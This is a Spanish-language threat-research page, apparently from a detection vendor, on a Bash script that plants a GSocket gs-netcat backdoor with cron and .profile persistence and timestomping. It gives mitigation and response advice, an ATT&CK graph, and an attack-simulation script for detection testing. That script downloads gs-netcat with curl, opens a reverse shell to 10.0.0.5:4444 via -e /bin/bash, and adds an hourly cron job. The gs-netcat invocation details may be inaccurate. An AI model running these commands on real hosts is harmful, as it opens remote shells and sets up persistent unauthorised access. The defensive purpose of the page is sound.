SOC Prime Bias: Media

24 Mar 2026 14:37

Backdoor GSocket Distribuido a Través de Script Bash

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
Backdoor GSocket Distribuido a Través de Script Bash
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Un script Bash armado descarga e inicia un cliente GSocket (gs-netcat) para establecer una puerta trasera en hosts Linux y macOS. Mantiene la persistencia a través de trabajos cron y cambios en .profile, mientras guarda un secreto compartido dentro de un archivo de clave SSH falso. Para reducir la visibilidad forense, el script utiliza métodos antiforenses que alteran las marcas de tiempo y ocultan evidencia de modificación de archivos. La puerta trasera resultante se comunica externamente a través de la red de retransmisión GSocket a una IP remota.

Investigación

El investigador detonó el script en un sandbox y confirmó la recuperación del gs-netcat binario, la creación de una entrada de persistencia basada en cron y la manipulación de archivos de inicio de usuario. Se dejó caer un archivo ELF falso llamado id_rsa en el directorio .ssh con el secreto compartido incrustado en lo que parece ser una clave SSH. También se identificaron rutinas de restablecimiento de marcas de tiempo, mostrando esfuerzos deliberados para difuminar las líneas de tiempo forenses. El script es compatible con múltiples sistemas tipo Unix al detectar primero el SO host.

Mitigación

Los defensores deben bloquear el tráfico saliente a los dominios y direcciones IP de retransmisión GSocket conocidos, y estar atentos a entradas cron no autorizadas o cambios sospechosos en .profile and .ssh rutas. La lógica de detección basada en hosts debería señalar el uso del gs-netcat nombre de archivo, así como los comandos comúnmente utilizados para manipular marcas de tiempo. Los controles de menor privilegio y el monitoreo de la integridad en los archivos de inicio pueden limitar aún más la capacidad de la puerta trasera para persistir sin ser detectada.

Respuesta

Si aparecen estos indicadores, aísle el host, adquiera el script malicioso y los binarios descargados, y comience una revisión forense completa. Elimine el mecanismo de persistencia cron y todos los artefactos maliciosos, rote las claves SSH afectadas y anule cualquier secreto compartido. Extienda la búsqueda a través del entorno para encontrar indicadores coincidentes y actualice el contenido de detección para capturar actividades similares.

"graph TB %% Class definitions classDef technique fill:#c2e0ff classDef tool fill:#ffd9b3 classDef operator fill:#ffcc99 %% Technique nodes tech_initial_user_execution["<b>Técnica</b> – <b>T1204.004 Ejecución de Usuario</b>: Script Bash malicioso ejecutado por un usuario."] class tech_initial_user_execution technique tech_persistence_cron["<b>Técnica</b> – <b>T1053.003 Tarea Programada Job Cron</b>: Trabajo cron por hora que mata y reinicia un binario gs-netcat disfrazado."] class tech_persistence_cron technique tech_boot_init["<b>Técnica</b> – <b>T1037 Scripts de Inicialización de Inicio de Sesión</b>: Inyección de comandos maliciosos en el .profile del usuario para persistencia."] class tech_boot_init technique tech_compromise_binary["<b>Técnica</b> – <b>T1554 Compromiso de Binario de Software en el Host</b>: gs-netcat copiado a ~/.ssh/putty y disfrazado como id_rsa."] class tech_compromise_binary technique tech_private_keys["<b>Técnica</b> – <b>T1552.004 Credenciales No Seguras Claves Privadas</b>: Secreto compartido almacenado dentro de una clave privada SSH falsa."] class tech_private_keys technique tech_timestomp["<b>Técnica</b> – <b>T1070.006 Timestomp</b>: Seguimiento y restauración de marca de tiempo personalizado para ocultar modificaciones de archivos."] class tech_timestomp technique tech_time_evasion["<b>Técnica</b> – <b>T1497.003 Evasión de Caja de Arena de Virtualización Basada en Tiempo</b>: Manipulación de marcas de tiempo para evadir entornos de análisis."] class tech_time_evasion technique tech_protocol_tunneling["<b>Técnica</b> – <b>T1572 Tunelización de Protocolo</b>: Tráfico de red tunelado a través de una red de retransmisión GSocket."] class tech_protocol_tunneling technique tech_proxy_multi["<b>Técnica</b> – <b>T1090 Proxy Multi-hop</b>: Tráfico reenviado a través del CDN de GSocket para proxy interno y externo."] class tech_proxy_multi technique tech_ssh_lateral["<b>Técnica</b> – <b>T1021.004 Servicios Remotos SSH</b> / <b>T1563.001 Secuestro de SSH</b>: gs-netcat ejecutado como una clave SSH disfrazada para movimiento lateral."] class tech_ssh_lateral technique %% Tool nodes tool_gsnetcat["<b>Herramienta</b> – <b>Nombre</b>: gs-netcat<br/><b>Descripción</b>: Variante de Netcat utilizada para control y comando encubierto."] class tool_gsnetcat tool tool_gsocket["<b>Herramienta</b> – <b>Nombre</b>: GSocket CDN<br/><b>Descripción</b>: Red de retransmisión que proporciona servicios de tunelización y proxy."] class tool_gsocket tool %% Conexiones de flujo de ataque tech_initial_user_execution –>|habilita| tech_persistence_cron tech_persistence_cron –>|habilita| tech_boot_init tech_boot_init –>|habilita| tech_compromise_binary tech_compromise_binary –>|utiliza| tool_gsnetcat tech_compromise_binary –>|habilita| tech_private_keys tech_private_keys –>|soporta| tech_timestomp tech_timestomp –>|soporta| tech_time_evasion tech_time_evasion –>|habilita| tech_protocol_tunneling tech_protocol_tunneling –>|utiliza| tool_gsocket tool_gsocket –>|facilita| tech_proxy_multi tech_proxy_multi –>|habilita| tech_ssh_lateral tech_ssh_lateral –>|utiliza| tool_gsnetcat "

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La verificación previa de Telemetría y Línea de Base debe haber pasado.

  • Narrativa de Ataque y Comandos:
    Un atacante con privilegios limitados obtiene el binario gs-netcat de un repositorio público, lo coloca en /usr/local/bin, y lo ejecuta para abrir una shell inversa en el puerto 4444. Para mantener el acceso, el atacante crea un trabajo cron que reinicia la puerta trasera cada hora. Los pasos se realizan desde una shell comprometida en el host objetivo.

  • Script de Prueba de Regresión:

    #!/usr/bin/env bash
    set -euo pipefail
    
    # 1. Descargar gs-netcat (simulado con un pequeño binario de marcador de posición)
    echo "[*] Descargando marcador de posición gs-netcat ..."
    curl -s -o /usr/local/bin/gs-netcat https://raw.githubusercontent.com/maaaaz/gs-netcat/master/gs-netcat_linux_amd64
    chmod +x /usr/local/bin/gs-netcat
    
    # 2. Iniciar gs-netcat en segundo plano (shell inversa al IP atacante 10.0.0.5)
    echo "[*] Iniciando shell inversa de gs-netcat ..."
    /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash &
    GSN_PID=$!
    
    # 3. Verificar que el proceso está en ejecución
    sleep 2
    ps -p "$GSN_PID" -o pid,cmd
    
    # 4. Crear un trabajo cron que reinicie gs-netcat al inicio de cada hora
    echo "[*] Añadiendo persistencia vía cron ..."
    (crontab -l 2>/dev/null; echo "0 * * * * /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash >/dev/null 2>&1") | crontab -
    
    echo "[+] Simulación completa. Esperando detección."
  • Comandos de Limpieza:

    #!/usr/bin/env bash
    set -euo pipefail
    
    # Eliminar la entrada de cron añadida anteriormente
    echo "[*] Eliminando trabajo cron malicioso ..."
    crontab -l | grep -v "/usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash" | crontab -
    
    # Terminar cualquier proceso gs-netcat en ejecución
    echo "[*] Matando procesos gs-netcat ..."
    pkill -f "/usr/local/bin/gs-netcat" || true
    
    # Eliminar el binario
    echo "[*] Eliminando binario gs-netcat ..."
    rm -f /usr/local/bin/gs-netcat
    
    echo "[+] Limpieza terminada."